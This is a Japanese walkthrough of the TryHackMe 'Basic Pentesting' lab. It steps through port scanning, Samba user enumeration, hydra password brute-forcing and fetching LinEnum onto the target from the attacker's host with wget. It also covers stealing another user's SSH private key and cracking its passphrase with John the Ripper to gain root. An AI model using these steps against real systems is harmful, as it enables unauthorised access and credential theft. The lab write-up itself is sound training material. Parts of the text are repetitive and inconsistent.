TryHackMe(THM):BasicPentesting
目次
- Task 1 Web App Testing and Privilege Escalation
- Find the services exposed by the machine
- What is the name of the hidden directory on the web server(enter name without /)?
- User brute-forcing to find the username & password
- What is the username?
- What is the password?
- What service do you use to access the server(answer in abbreviation in all caps)?
- Enumerate the machine to find any vectors for privilege escalation
- What is the name of the other user you found(all lower case)?
- If you have found another user, what can you do with this information?
- What is the final password you obtain?
Task 1 Web App Testing and Privilege Escalation
以下のことを学びます。
- brute forcing
- hash cracking
- service enumeration
- Linux Enumeration
-
Find the services exposed by the machine
まずnmapを実行します。
# nmap -sV -sC <$IP>
いくつかのポートが解放されていることが確認できます。
-
What is the name of the hidden directory on the web server(enter name without /)?
まずnmapを実行します。
Webサーバ上の隠しディレクトリを調査するためにgobusterコマンドを実行します。
検索結果に問題文の答えがあります。
ブラウザで見つけたディレクトリにアクセスしてみます。
-
User brute-forcing to find the username & password
-
What is the username?
-
What is the password?
先人の知恵を拝借すると、nmapの結果からsambaのために開放しているポートに対して調査をするようです。
「enum4linux」コマンドを実行します。
このコマンドは、Windowsのファイル共有やSambaから情報を取得し列挙(enumerate)するものらしいです。
出力結果がいろいろと出てきますが、その中にユーザ名らしきものを2つ見つけました。
その中の1つを利用して「hydora」コマンドを実行します。
-
What service do you use to access the server(answer in abbreviation in all caps)?
設問1.で実行したnmapでhttpポート以外のサービスが解答になります。
-
Enumerate the machine to find any vectors for privilege escalation
先人の知恵を拝借すると、nmapの結果からsambaのために開放しているポートに対して調査をするようです。
ローカルPC上で「LinEnum.sh」ファイルをダウンロードしておきます。github.com「LinEnum.sh」をダウンロードしたディレクトリ上でwebサーバを起ち上げます。
別のターミナルを起動して、先ほど分かったユーザID/パスワードを使ってsshで接続先ほど分かったユーザID/パスワードを使ってsshで接続
# ssh <ユーザ名>@<$IP>
ターゲットマシン側のターミナルでtmpディレクトリに移動後、wgetでLinEnumをダウンロードします。
$ wget <$ローカルIP>:<ローカル側で解放したポート番号>/LinEnum.sh
LinEnumに実行権限を付加します。
$ chmod +x LinEnum
LinEnumコマンドを実行します。teeコマンドで標準入力から受け取った内容を、標準出力とファイルに書き出します。
出力結果を確認すると、「/home/kay/pass.bak」ファイルがあったので、ローカル側でscpコマンドを入力してみます。
# scp jan@<$IP>:/home/kay/.ssh/id_rsa id_rsa.orig
秘密鍵をpasswd形式ファイルに変換する秘密鍵をpasswd形式ファイルに変換します。
# python /usr/share/john/ssh2john.py id_rsa.orig > id_rsa.hash
「John the ripper」を使ってパスワードハッシュを解析します。
# john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
-
What is the name of the other user you found(all lower case)?
設問5.「enum4linuxコマンド」で見つかったもう一つのユーザが解答になります。
-
If you have found another user, what can you do with this information?
ターゲットマシン側のターミナルでもう1つのユーザのディレクトリに移動します。
$ cd /home/kay/.ssh/
sshで接続します。$ ssh -i /home/kay/.ssh/id_rsa kay@<$IP>
パスワードを聞かれるのでjohnで解析できたパスワードを入力します。 -
What is the final password you obtain?
lsコマンドでファイルを確認すると、pass.bakファイルがあるので、「catコマンド」で中身を確認します。
sudoコマンドを入力するとパスワードを聞かれるので先ほどの長いパスワードを入力します。$ sudo -l
rootディレクトリへ移動 すると、flag.txtファイルが見つかります。
catコマンドで中身を確認します。
完了!